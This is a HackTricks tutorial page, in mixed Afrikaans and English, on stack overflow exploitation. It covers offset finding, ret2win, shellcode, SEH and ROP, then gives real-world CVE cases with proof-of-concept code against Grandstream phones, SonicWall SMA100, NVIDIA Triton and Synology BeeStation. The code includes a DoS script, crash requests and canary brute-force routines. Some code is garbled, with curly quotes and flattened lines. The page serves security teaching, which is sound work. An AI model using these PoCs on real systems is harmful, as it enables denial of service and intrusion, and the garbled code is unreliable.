Stack Overflow
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Wat is ’n Stack Overflow
A stack overflow is ’n kwesbaarheid wat voorkom wanneer ’n program meer data na die stack skryf as waarvoor dit toegeken is om te hou. Hierdie oortollige data sal die aangrensende geheue-ruimte oorskryf, wat lei tot die korrupsie van geldige data, versteuring van die beheervloei, en moontlik die uitvoering van kwaadwillige kode. Hierdie probleem ontstaan dikwels as gevolg van die gebruik van onveilige funksies wat geen grenskontrole op insette uitvoer nie.
Die hoofprobleem van hierdie oorskrywing is dat die saved instruction pointer (EIP/RIP) en die saved base pointer (EBP/RBP) om na die vorige funksie terug te keer, op die stack gestoor word. Daarom kan ’n aanvaller dit oorskryf en die uitvoeringsvloei van die program beheer.
Die kwesbaarheid ontstaan gewoonlik omdat ’n funksie meer bytes binne die stack kopieer as die hoeveelheid wat daarvoor toegeken is, en sodoende ander dele van die stack kan oorskryf.
Sommige algemene funksies wat daaraan kwesbaar is, is: strcpy, strcat, sprintf, gets… Ook funksies soos fgets, read en memcpy wat ’n lengte-argument aanvaar, kan op ’n kwesbare wyse gebruik word as die gespesifiseerde lengte groter is as die toegekende hoeveelheid.
Byvoorbeeld, die volgende funksies kan kwesbaar wees:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Vind Stack Overflows offsets
Die mees algemene manier om stack overflows te vind is om ’n baie groot invoer van As te gee (bv. python3 -c 'print("A"*1000)') en ’n Segmentation Fault te verwag wat aandui dat die adres 0x41414141 probeer benader is.
Verder, sodra jy gevind het dat daar ’n Stack Overflow kwetsbaarheid is, sal jy die offset moet vind totdat dit moontlik is om die return address te oorskryf; hiervoor word gewoonlik ’n De Bruijn sequence gebruik. Vir ’n gegewe alfabet van grootte k en subreekse van lengte n is dit ’n sikliese volgorde waarin elke moontlike subreeks van lengte n presies een keer as ’n aaneenlopende subreeks verskyn.
Op hierdie manier, in plaas daarvan om met die hand te bepaal watter offset nodig is om die EIP te beheer, kan jy een van hierdie sequences as padding gebruik en dan die offset van die bytes vind wat dit uiteindelik oorskryf het.
Dit is moontlik om pwntools hiervoor te gebruik:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
of GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Exploiting Stack Overflows
During an overflow (supposing the overflow size if big enough) you will be able to overwrite values of local variables inside the stack until reaching the saved EBP/RBP and EIP/RIP (or even more).
The most common way to abuse this type of vulnerability is by modifying the return address so when the function ends the control flow will be redirected wherever the user specified in this pointer.
However, in other scenarios maybe just overwriting some variables values in the stack might be enough for the exploitation (like in easy CTF challenges).
Ret2win
In hierdie tipe CTF-uitdagings is daar ’n function inside die binary wat never called word en wat jy moet aanroep om te wen. Vir hierdie uitdagings hoef jy net die offset to overwrite the return address te vind en die address of the function om aan te roep te kry (gewoonlik sal ASLR disabled wees) sodat wanneer die kwetsbare function return, die verborgen function aangeroep sal word:
Stack Shellcode
In hierdie scenario kan die aanvaller ’n shellcode op die stack plaas en die beheerde EIP/RIP misbruik om na die shellcode te jump en arbitrary code uit te voer:
Windows SEH-based exploitation (nSEH/SEH)
On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.
ROP & Ret2… techniques
Hierdie tegniek is die fundamentele raamwerk om die hoofbeskerming teen die vorige tegniek te omseil: No executable stack (NX). En dit laat toe om verskeie ander tegnieke uit te voer (ret2lib, ret2syscall…) wat uiteindelik arbitrary commands sal uitvoer deur bestaande instructions in die binary te misbruik:
Heap Overflows
’n overflow gaan nie altyd op die stack plaasvind nie; dit kan byvoorbeeld ook in die heap wees:
Types of protections
Daar is verskeie beskermings wat probeer verhoed dat vulnerabilities uitgebuit word — kyk na hulle in:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)
/app/bin/gs_web(32-bit ARM) exposes/cgi-bin/api.values.geton TCP/80 with no authentication. The POST parameterrequestis colon-delimited; each character is copied intochar small_buffer[64]and the token is NUL-terminated on:or end, without any length check, letting a single oversized token smash the saved registers/return address.- PoC overflow (crashes and shows attacker data in registers):
curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)". - Delimiter-driven multi-NUL placement: every colon restarts parsing and appends a trailing NUL. By using multiple overlong identifiers, each token’s terminator can be aligned to a different offset in the corrupted frame, letting the attacker place several
0x00bytes even though each overflow normally adds only one. This is crucial because the non-PIE binary is mapped at0x00008000, so ROP gadget addresses embed NUL bytes. - Example colon payload to drop five NULs at chosen offsets (lengths tuned per stack layout):
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE checksecshows NX enabled, no canary, no PIE. Exploitation uses a ROP chain built from fixed addresses (e.g., callsystem()thenexit()), staging arguments after planting the required NUL bytes with the delimiter trick.
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
’n Goeie demonstrasie van waarom sscanf nooit vertrou moet word om untrusted input te parse nie het in 2025 in SonicWall se SMA100 SSL-VPN appliance voorgekom.
Die kwesbare roetine binne /usr/src/EasyAccess/bin/httpd probeer die version en endpoint uit enige URI te onttrek wat begin met /__api__/:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- Die eerste conversie (
%2s) stoor veilig twee bytes inversion(bv."v1"). - Die tweede conversie (
%s) het geen lengte-spesifiseerder nie, daarom salsscanfvoortgaan om te kopieer tot die eerste NUL-byte. - Omdat
endpointop die stack geleë is en 0x800 bytes lank is, korrupteer ’n pad langer as 0x800 bytes alles wat ná die buffer lê ‑ insluitend die stack canary en die saved return address.
Een enkele reël bewys-van-konsep is genoeg om die crash before authentication te veroorsaak:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Alhoewel stack canaries die proses beëindig, kry ’n aanvaller steeds ’n Denial-of-Service primitive (en, met bykomende information leaks, moontlik code-execution).
Werklike Voorbeeld: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA’s Triton Inference Server (≤ v25.06) bevat verskeie stack-based overflows wat via sy HTTP API bereikbaar was.
Die kwesbare patroon het herhaaldelik in http_server.cc en sagemaker_server.cc verskyn:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek(libevent) gee die aantal interne buffersegmente wat die huidige HTTP-aanvraagliggaam saamstel.- Elke segment veroorsaak dat ’n 16-byte
evbuffer_iovecop die stack viaalloca()gealloceer word – sonder enige boonste grens. - Deur misbruik te maak van HTTP chunked transfer-encoding, kan ’n kliënt die aanvraag dwing om in honderdduisende 6-byte stukkies (
"1\r\nA\r\n") verdeel te word. Dit laatnonbeperk toeneem totdat die stack uitgeput is.
Bewys van konsep (DoS)
Chunked DoS PoC
```python #!/usr/bin/env python3 import socket, sysdef exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()
if name == “main”: exploit(*sys.argv[1:])
</details>
'n ~3 MB versoek is genoeg om die saved return address oor te skryf en die daemon op 'n default build te **crash**.
### Werklike Voorbeeld: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
Synacktiv’s Pwn2Own 2025 ketting misbruik 'n pre-auth overflow in `SYNO.BEE.AdminCenter.Auth` op port 5000. `AuthManagerImpl::ParseAuthInfo` Base64-decodeer aanvallerinput na 'n 4096-byte stack buffer maar stel verkeerdelik `decoded_len = auth_info->len`. Omdat die CGI worker per request forks, erf elke child die parent’s stack canary, so een stabiele overflow primitive is genoeg om beide die stack te korrupteer en alle vereiste geheime te leak.
#### Base64-decoded JSON as 'n gestruktureerde overflow
Die decoded blob moet geldige JSON wees en die sleutels `"state"` en `"code"` insluit; anders gooi die parser 'n fout voordat die overflow nuttig raak. Synacktiv het dit opgelos deur 'n payload te Base64-encodeer wat dekodeer na JSON, dan 'n NUL-byte, en dan die overflow stream. `strlen(decoded)` stop by die NUL sodat parsing slaag, maar `SLIBCBase64Decode` het reeds die stack verbygeskryf na die JSON object, en dek die canary, saved RBP, en return address.
```python
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
pld += b"A"*4081 # reach the canary slot
pld += marker_bytes # guessed canary / pointer data
send_request(pld)
Crash-oracle bruteforcing van canaries & pointers
synoscgi maak ’n fork een keer per HTTP-versoek, sodat alle subprosesse dieselfde canary, stack layout, en PIE slide deel. Die exploit gebruik die HTTP-statuskode as ’n orakel: 200-antwoord beteken die geraaide byte het die stack ongeskonde gelaat, terwyl 502 (of ’n verbroken verbinding) beteken die proses gecrash het. Brute-forcing elke byte agtereenvolgens herstel die 8-byte canary, ’n saved stack pointer, en ’n return address binne libsynobeeadmincenter.so:
def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")
bf_next_ptr roep eenvoudig bf_next_byte agt keer terwyl dit die bevestigde prefix aanheg. Synacktiv het hierdie orakels geparalleliseer met ~16 worker threads, wat die totale leak tyd (canary + stack ptr + lib base) verminder het tot minder as drie minute.
Vanaf leaks na ROP & uitvoering
Sodra die library base bekend is, bou common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) ’n arb_write primitive wat /bin/bash, -c, en die aanvaller se opdrag op die leaked stack adres plaas. Laastens stel die ketting die aanroepkonvensie vir SLIBCExecl (a BeeStation wrapper around execl(2)), wat ’n root shell gee sonder om ’n aparte info-leak bug nodig te hê.
Verwysings
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
- Rapid7 – CVE-2026-2329 unauthenticated stack overflow in Grandstream GXP1600
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


